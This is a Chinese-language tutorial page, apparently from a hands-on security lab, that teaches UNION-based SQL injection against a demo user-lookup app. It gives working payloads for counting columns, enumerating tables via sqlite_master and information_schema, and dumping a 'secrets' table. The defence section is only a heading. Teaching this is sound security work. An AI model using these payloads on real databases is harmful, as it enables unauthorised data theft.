📊 实验二:UNION 注入

UNION-based SQL Injection

📖 原理说明

UNION 注入是最强大的 SQL 注入技术之一,可以窃取数据库中任意表的数据:

-- 原始查询
SELECT id, username, role FROM users WHERE id=1

-- UNION 注入后
SELECT id, username, role FROM users WHERE id=1
UNION
SELECT id, content, level FROM secrets
                    ↑
         窃取 secrets 表的数据!
💡 UNION 注入条件

1. 两个 SELECT 的列数必须相同

2. 对应列的数据类型要兼容

🧪 漏洞演示 - 用户查询

场景:根据 ID 查询用户信息

💡 攻击步骤:

Step 1: 确定列数

1 ORDER BY 3-- (成功) → 1 ORDER BY 4-- (失败) → 3列

Step 2: 确定显示位

-1 UNION SELECT 1,2,3--

Step 3: 查询表名

-1 UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'--

Step 4: 窃取 secrets 表

-1 UNION SELECT id,content,level FROM secrets--

执行的 SQL:

等待输入...

查询结果:

等待查询...

🎯 攻击详解

为什么用 -1?

-- id=-1 不存在,原查询返回空
SELECT id, username, role FROM users WHERE id=-1
-- UNION 的结果就是唯一显示的内容
UNION SELECT id, content, level FROM secrets

获取数据库结构

-- SQLite 查询所有表名
-1 UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'--

-- MySQL 查询所有表名
-1 UNION SELECT 1,table_name,3 FROM information_schema.tables--

获取列名

-- SQLite 查询表结构
-1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='secrets'--

🛡️ 防御要点